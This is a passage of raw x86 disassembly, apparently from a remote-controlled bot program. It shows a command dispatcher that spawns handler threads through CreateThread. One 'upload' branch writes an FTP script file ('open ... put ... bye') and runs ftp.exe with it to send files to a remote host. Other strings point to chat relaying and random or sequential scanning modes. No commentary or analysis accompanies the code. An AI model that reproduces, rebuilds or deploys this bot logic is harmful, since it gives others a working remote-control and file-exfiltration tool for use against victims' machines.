loc_4069FA: ; CODE XREF: sub_401CC1+47CCj
; sub_401CC1+47E3j
push [ebp+arg_18]
lea eax, [ebp+var_2C0]
push edi
push [ebp+arg_0]
push offset unk_4444EC
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
push [ebp+arg_0]
call sub_418D00
push [ebp+arg_18]
mov edi, eax
call sub_418D00
push [ebp+arg_20]
add edi, eax
call sub_418D00
push [ebp+arg_10]
add edi, eax
call sub_418D00
add eax, [ebp+var_C]
push [ebp+arg_1C]
lea eax, [eax+edi+7]
push eax
call sub_41B890
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B3F0
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_8], ebx
jle short loc_406AF4
loc_406A7D: ; CODE XREF: sub_401CC1+4DE0j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_4164D5
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_406AA5
cmp eax, ebx
jnz short loc_406AC4
inc [ebp+arg_8]
mov eax, [ebp+arg_8]
cmp eax, [ebp+arg_14]
jl short loc_406A7D
jmp short loc_406AFD
; ---------------------------------------------------------------------------
loc_406AA5: ; CODE XREF: sub_401CC1+4DD1j
push ebx
push [ebp+var_4]
push offset unk_444528
loc_406AAE: ; CODE XREF: sub_401CC1+4E45j
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
jmp loc_406CA0
; ---------------------------------------------------------------------------
loc_406AC4: ; CODE XREF: sub_401CC1+4DD5j
push [ebp+arg_20]
lea eax, [ebp+var_2C0]
push offset unk_444560
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 20h
loc_406AF4: ; CODE XREF: sub_401CC1+4DBAj
cmp [ebp+arg_20], ebx
jnz loc_406CA0
loc_406AFD: ; CODE XREF: sub_401CC1+4DE2j
push ebx
push [ebp+var_4]
push offset unk_444594
jmp short loc_406AAE
; ---------------------------------------------------------------------------
loc_406B08: ; CODE XREF: sub_401CC1+4787j
; sub_401CC1+479Ej ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_B38], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
lea eax, [ebp+var_BD0]
push edi
push eax
call sub_41B1F0
push [ebp+arg_18]
call sub_41B3F0
push [ebp+arg_0]
mov [ebp+var_B50], eax
call sub_41B3F0
push [ebp+arg_1C]
mov [ebp+var_B4C], eax
call sub_41B3F0
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_B48], eax
jz short loc_406B6D
push esi
call sub_41B3F0
pop ecx
mov [ebp+var_B44], eax
jmp short loc_406B73
; ---------------------------------------------------------------------------
loc_406B6D: ; CODE XREF: sub_401CC1+4E9Bj
mov [ebp+var_B44], ebx
loc_406B73: ; CODE XREF: sub_401CC1+4EAAj
push 7Fh
lea eax, [ebp+var_C50]
push [ebp+var_88]
push eax
call sub_41B1F0
push [ebp+var_B48]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_BD0]
mov [ebp+var_C54], esi
push [ebp+var_B4C]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_B50]
push offset unk_444460
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 17h
push eax
call sub_40A7FD
add esp, 30h
mov [ebp+var_B40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C54]
push ebx
push eax
push offset sub_4127E1
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_B40]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_406C13
loc_406C01: ; CODE XREF: sub_401CC1+4F50j
cmp [ebp+var_B34], ebx
jnz short loc_406C2E
push 32h
call dword_4F1334 ; Sleep
jmp short loc_406C01
; ---------------------------------------------------------------------------
loc_406C13: ; CODE XREF: sub_401CC1+4F3Ej
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_4444A8
loc_406C1F: ; CODE XREF: sub_401CC1+45F2j
; sub_401CC1+5A75j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
loc_406C2E: ; CODE XREF: sub_401CC1+45D6j
; sub_401CC1+4F46j ...
cmp [ebp+var_8], ebx
jnz loc_407C50
push ebx
push [ebp+var_4]
loc_406C3B: ; CODE XREF: sub_401CC1+1E16j
lea eax, [ebp+var_2C0]
push eax
push [ebp+var_88]
push esi
jmp loc_407C48
; ---------------------------------------------------------------------------
loc_406C4E: ; CODE XREF: sub_401CC1+4759j
; sub_401CC1+4770j
push 0Bh
call sub_40AA45
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41B3F0
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_406E16
push [ebp+arg_8]
lea eax, [ebp+var_2C0]
push offset unk_4442F0
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 20h
loc_406CA0: ; CODE XREF: sub_401CC1+4A2Ej
; sub_401CC1+4DFEj ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_40207C
push [ebp+arg_10]
push offset aUpload ; "upload"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_408CA1
push 4
push esi
call sub_414F2C
pop ecx
test eax, eax
pop ecx
jnz short loc_406CEB
push esi
push offset unk_44480C
loc_406CD7: ; CODE XREF: sub_401CC1+6DAEj
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
add esp, 0Ch
jmp loc_408A87
; ---------------------------------------------------------------------------
loc_406CEB: ; CODE XREF: sub_401CC1+500Ej
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
call sub_41B850
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B850
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B850
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_4558]
push edx
push eax
lea eax, [ebp+var_22B0]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B740
lea eax, [ebp+var_22B0]
push offset aAb ; "ab"
push eax
call sub_41B170
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40207C
push esi
push [ebp+arg_1C]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C1C0
push [ebp+arg_24]
call sub_418D80
lea eax, [ebp+var_22B0]
push eax
lea eax, [ebp+var_4350]
push offset aSS_0 ; "-s:%s"
push eax
call sub_41B740
add esp, 2Ch
lea eax, [ebp+var_4350]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_0 ; "open"
push ebx
call dword_4E0818
test eax, eax
push edi
push esi
jz short loc_406DB5
push offset unk_44487C
jmp short loc_406DBA
; ---------------------------------------------------------------------------
loc_406DB5: ; CODE XREF: sub_401CC1+50EBj
push offset unk_4448A4
loc_406DBA: ; CODE XREF: sub_401CC1+50F2j
call sub_41B740
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_406DE3
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_406DE3: ; CODE XREF: sub_401CC1+5104j
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
loc_406DEF: ; CODE XREF: sub_401CC1+5153j
lea eax, [ebp+var_22B0]
push 4
push eax
call sub_414F2C
add esp, 0Ch
test eax, eax
jz loc_40207C
lea eax, [ebp+var_22B0]
push eax
call sub_41C150
jmp short loc_406DEF
; ---------------------------------------------------------------------------
loc_406E16: ; CODE XREF: sub_401CC1+4FA9j
push edi
call sub_41B3F0
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41B3F0
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B3F0
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_406E4F
push 5
pop eax
mov [ebp+var_36C], eax
loc_406E4F: ; CODE XREF: sub_401CC1+5183j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_406E5C
mov [ebp+var_36C], ecx
loc_406E5C: ; CODE XREF: sub_401CC1+5193j
push [ebp+arg_1C]
call sub_41B3F0
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_406E7C
mov [ebp+var_368], 320h
loc_406E7C: ; CODE XREF: sub_401CC1+51AFj
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4492A8, ebx
mov [ebp+arg_8], ebx
jz short loc_406ED2
mov [ebp+arg_24], offset dword_4492A8
loc_406E95: ; CODE XREF: sub_401CC1+51F3j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_406EB8
add [ebp+arg_24], 40h
inc [ebp+arg_8]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_406E95
jmp short loc_406ED2
; ---------------------------------------------------------------------------
loc_406EB8: ; CODE XREF: sub_401CC1+51E5j
mov eax, [ebp+arg_8]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4492A8[ecx]
mov [ebp+var_370], ecx
loc_406ED2: ; CODE XREF: sub_401CC1+51CBj
; sub_401CC1+51F5j
cmp [ebp+var_370], ebx
jnz short loc_406EE4
push offset unk_444330
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_406EE4: ; CODE XREF: sub_401CC1+5217j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_406F1F
cmp byte ptr [edi], 23h
jz short loc_406F1F
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B910
push 78h
push edi
call sub_41C400
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_406F1F: ; CODE XREF: sub_401CC1+522Cj
; sub_401CC1+5231j
cmp [ebp+var_8FF], bl
jnz short loc_406F41
cmp [ebp+var_8FE], bl
jnz short loc_406F41
cmp [ebp+var_8EE], bl
jnz short loc_406F41
push offset unk_444364
jmp loc_4068C0
; ---------------------------------------------------------------------------
loc_406F41: ; CODE XREF: sub_401CC1+5264j
; sub_401CC1+526Cj ...
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4E0848
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4E0928
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B1F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_406FF3
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C290
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_406FE7
loc_406FC5: ; CODE XREF: sub_401CC1+5324j
cmp eax, ebx
jz short loc_406FE7
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C290
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_406FC5
loc_406FE7: ; CODE XREF: sub_401CC1+5302j
; sub_401CC1+5306j
mov [ebp+var_344], 1
jmp short loc_406FF9
; ---------------------------------------------------------------------------
loc_406FF3: ; CODE XREF: sub_401CC1+52DCj
mov [ebp+var_344], ebx
loc_406FF9: ; CODE XREF: sub_401CC1+5259j
; sub_401CC1+5330j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B910
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_40704A
loc_407037: ; CODE XREF: sub_401CC1+53ACj
push esi
loc_407038: ; CODE XREF: sub_401CC1+5396j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B910
add esp, 0Ch
jmp short loc_407075
; ---------------------------------------------------------------------------
loc_40704A: ; CODE XREF: sub_401CC1+5374j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407059
cmp byte ptr [eax], 23h
jnz short loc_407059
push eax
jmp short loc_407038
; ---------------------------------------------------------------------------
loc_407059: ; CODE XREF: sub_401CC1+538Ej
; sub_401CC1+5393j
mov esi, offset aXx_0 ; "#xx#"
push offset dword_4E076C
push esi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_407037
mov [ebp+var_3F4], bl
loc_407075: ; CODE XREF: sub_401CC1+5387j
cmp [ebp+var_344], ebx
mov eax, offset aRandom_1 ; "Random"
jnz short loc_407087
mov eax, offset aSequential_0 ; "Sequential"
loc_407087: ; CODE XREF: sub_401CC1+53BFj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_4443AC
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40A7FD
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40BC04
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_407115
loc_4070FF: ; CODE XREF: sub_401CC1+5452j
cmp [ebp+var_340], ebx
jnz loc_407C2F
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4070FF
; ---------------------------------------------------------------------------
loc_407115: ; CODE XREF: sub_401CC1+543Cj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_444414
jmp loc_4068A7
; ---------------------------------------------------------------------------
loc_407126: ; CODE XREF: sub_401CC1+472Bj
; sub_401CC1+4742j
push edi
call sub_409EFD
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41B3F0
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B3F0
push [ebp+arg_1C]
mov [ebp+var_4EC], eax
call sub_41B3F0
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B1F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4E0928
push eax
lea eax, [ebp+var_2C0]
push offset unk_444258
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40A7FD
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40C021
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40721B
loc_407205: ; CODE XREF: sub_401CC1+5558j
cmp [ebp+var_4D0], ebx
jnz loc_403ACC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_407205
; ---------------------------------------------------------------------------
loc_40721B: ; CODE XREF: sub_401CC1+5542j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_4442A8
jmp loc_403ABD
; ---------------------------------------------------------------------------
loc_40722C: ; CODE XREF: sub_401CC1+46EEj
; sub_401CC1+4705j
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
cmp byte_4537E0[eax], bl
jz loc_408CA1
cmp [ebp+var_C], ebx
jz loc_408CA1
push [ebp+arg_18]
call sub_418D00
push edi
mov esi, eax
call sub_418D00
push [ebp+arg_10]
add esi, eax
call sub_418D00
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B890
mov esi, eax
lea eax, [ebp+var_2C0]
push esi
push offset dword_44422C
push eax
call sub_41B740
add esp, 20h
cmp esi, ebx
jz loc_408CA1
push edi
call sub_41B3F0
test eax, eax
pop ecx
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408EB9
push edi
call sub_41B3F0
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4535C8[eax], 73h
jnz loc_408CA1
push esi
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
add eax, offset byte_4537E0
push eax
push [ebp+arg_18]
push offset dword_444238
loc_407314: ; CODE XREF: sub_401CC1+574Dj
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
jmp loc_403DD2
; ---------------------------------------------------------------------------
loc_40733E: ; CODE XREF: sub_401CC1+46C0j
; sub_401CC1+46D7j
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
cmp byte_4537E0[eax], bl
jz loc_408CA1
cmp [ebp+var_C], ebx
jz loc_408CA1
push [ebp+arg_18]
call sub_418D00
push edi
mov esi, eax
call sub_418D00
push [ebp+arg_10]
add esi, eax
call sub_418D00
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B890
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_408CA1
push edi
call sub_41B3F0
test eax, eax
pop ecx
jle loc_408CA1
push edi
call sub_41B3F0
cmp eax, 400h
pop ecx
jge loc_408CA1
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
push dword_4537D4[eax]
call sub_408EB9
push edi
call sub_41B3F0
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4535C8[eax], 73h
jnz loc_408CA1
push esi
push edi
call sub_41B3F0
imul eax, 234h
pop ecx
add eax, offset byte_4537E0
push eax
push [ebp+arg_18]
push offset aSSS ; "[%s] <%s> %s"
jmp loc_407314
; ---------------------------------------------------------------------------
loc_407413: ; CODE XREF: sub_401CC1+4692j
; sub_401CC1+46A9j
push edi
call dword_4E08DC
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41B3F0
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B3F0
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B1F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4E0928
push eax
lea eax, [ebp+var_2C0]
push offset unk_444184
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40A7FD
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40BF30
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4074F5
loc_4074DF: ; CODE XREF: sub_401CC1+5832j
cmp [ebp+var_670], ebx
jnz loc_403ACC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4074DF
; ---------------------------------------------------------------------------
loc_4074F5: ; CODE XREF: sub_401CC1+581Cj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_4441C0
jmp loc_403ABD
; ---------------------------------------------------------------------------
loc_407506: ; CODE XREF: sub_401CC1+4664j
; sub_401CC1+467Bj
push edi
call sub_41B3F0
push 7Fh
mov [ebp+var_ED8], eax
push [ebp+arg_18]
lea eax, [ebp+var_FDC]
push eax
call sub_41B1F0
push [ebp+arg_0]
call sub_41B3F0
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_EDC], eax
lea eax, [ebp+var_F5C]
push 80h
push eax
mov [ebp+var_FE4], esi
call sub_41B910
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_EC8], eax
push [ebp+var_EDC]
lea eax, [ebp+var_FDC]
mov [ebp+var_ECC], edi
push eax
push [ebp+var_ED8]
push esi
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_4440F8
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 18h
push eax
call sub_40A7FD
add esp, 24h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FE4]
push ebx
push eax
push offset sub_40FEBC
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4075EF
loc_4075D9: ; CODE XREF: sub_401CC1+592Cj
cmp [ebp+var_EC4], ebx
jnz loc_403ACC
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4075D9
; ---------------------------------------------------------------------------
loc_4075EF: ; CODE XREF: sub_401CC1+5916j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_444134
jmp loc_403ABD
; ---------------------------------------------------------------------------
loc_407600: ; CODE XREF: sub_401CC1+4636j
; sub_401CC1+464Dj
push 0FFh
lea eax, [ebp+var_2128]
push edi
push eax
call sub_41B1F0
push 0FFh
lea eax, [ebp+var_2028]
push [ebp+arg_18]
push eax
call sub_41B1F0
push [ebp+arg_0]
mov [ebp+var_1F24], ebx
call sub_41B3F0
mov [ebp+var_1F20], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407659
push 10h
push ebx
push eax
call sub_41C130
add esp, 0Ch
mov [ebp+var_1F18], eax
jmp short loc_40765F
; ---------------------------------------------------------------------------
loc_407659: ; CODE XREF: sub_401CC1+5982j
mov [ebp+var_1F18], ebx
loc_40765F: ; CODE XREF: sub_401CC1+5996j
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407676
push esi
call sub_41B3F0
pop ecx
mov [ebp+var_1F1C], eax
jmp short loc_40767C
; ---------------------------------------------------------------------------
loc_407676: ; CODE XREF: sub_401CC1+59A4j
mov [ebp+var_1F1C], ebx
loc_40767C: ; CODE XREF: sub_401CC1+59B3j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_1F14], eax
lea eax, [ebp+var_21A8]
mov [ebp+var_21AC], esi
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_1F0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F10], eax
push edi
lea eax, [ebp+var_2C0]
push offset unk_44407C
push eax
call sub_41B740
push esi
lea eax, [ebp+var_2C0]
push 1Dh
push eax
call sub_40A7FD
add esp, 28h
mov [ebp+var_1F28], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_21AC]
push ebx
push eax
push offset sub_414A1D
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_1F28]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40772A
loc_407714: ; CODE XREF: sub_401CC1+5A67j
cmp [ebp+var_1F08], ebx
jnz loc_406C2E
push 32h
call dword_4F1334 ; Sleep
jmp short loc_407714
; ---------------------------------------------------------------------------
loc_40772A: ; CODE XREF: sub_401CC1+5A51j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_4440A8
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_40773B: ; CODE XREF: sub_401CC1+4608j
; sub_401CC1+461Fj
push 7Fh
lea eax, [ebp+var_2DA0]
pop esi
push esi
push edi
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2D20]
push [ebp+arg_18]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2CA0]
push [ebp+arg_0]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2C20]
push [ebp+var_88]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_2B9C], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2B98], eax
lea eax, [ebp+var_2C0]
push edi
push offset unk_443FF8
push eax
mov [ebp+var_2DA4], esi
call sub_41B740
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 12h
push eax
call sub_40A7FD
add esp, 0Ch
mov [ebp+var_2BA0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2DA4]
push ebx
push eax
push offset sub_413E60
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_2BA0]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_407812
loc_4077FC: ; CODE XREF: sub_401CC1+5B4Fj
cmp [ebp+var_2B94], ebx
jnz loc_406C2E
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4077FC
; ---------------------------------------------------------------------------
loc_407812: ; CODE XREF: sub_401CC1+5B39j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_444034
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_407823: ; CODE XREF: sub_401CC1+44DBj
; sub_401CC1+44F2j
push 7Fh
lea eax, [ebp+var_2B8C]
pop esi
push esi
push edi
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2B0C]
push [ebp+arg_18]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2A8C]
push [ebp+arg_0]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_2A0C]
push [ebp+var_88]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_2988], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2984], eax
lea eax, [ebp+var_2C0]
push edi
push offset unk_443F08
push eax
mov [ebp+var_2B90], esi
call sub_41B740
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 0Eh
push eax
call sub_40A7FD
add esp, 0Ch
mov [ebp+var_298C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2B90]
push ebx
push eax
push offset sub_412B9A
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_298C]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4078FA
loc_4078E4: ; CODE XREF: sub_401CC1+5C37j
cmp [ebp+var_2980], ebx
jnz loc_406C2E
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4078E4
; ---------------------------------------------------------------------------
loc_4078FA: ; CODE XREF: sub_401CC1+5C21j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_443F38
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_40790B: ; CODE XREF: sub_401CC1+43B2j
; sub_401CC1+43C9j ...
push 7Fh
lea eax, [ebp+var_33E0]
pop esi
push esi
push edi
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_3360]
push [ebp+arg_18]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_32E0]
push [ebp+arg_0]
push eax
call sub_41B1F0
push esi
lea eax, [ebp+var_3260]
push [ebp+var_88]
push eax
call sub_41B1F0
push 20h
lea eax, [ebp+var_31E0]
push [ebp+arg_10]
push eax
call sub_41B1F0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_3160], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_315C], eax
lea eax, [ebp+var_2C0]
push edi
push offset unk_443E4C
push eax
mov [ebp+var_33E8], esi
call sub_41B740
add esp, 50h
lea eax, [ebp+var_2C0]
push ebx
push 0Dh
push eax
call sub_40A7FD
add esp, 0Ch
mov [ebp+var_33E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_33E8]
push ebx
push eax
push offset sub_411E27
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_33E4]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4079F3
loc_4079DD: ; CODE XREF: sub_401CC1+5D30j
cmp [ebp+var_3158], ebx
jnz loc_406C2E
push 32h
call dword_4F1334 ; Sleep
jmp short loc_4079DD
; ---------------------------------------------------------------------------
loc_4079F3: ; CODE XREF: sub_401CC1+5D1Aj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_443E7C
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_407A04: ; CODE XREF: sub_401CC1+4384j
; sub_401CC1+439Bj
push 7Fh
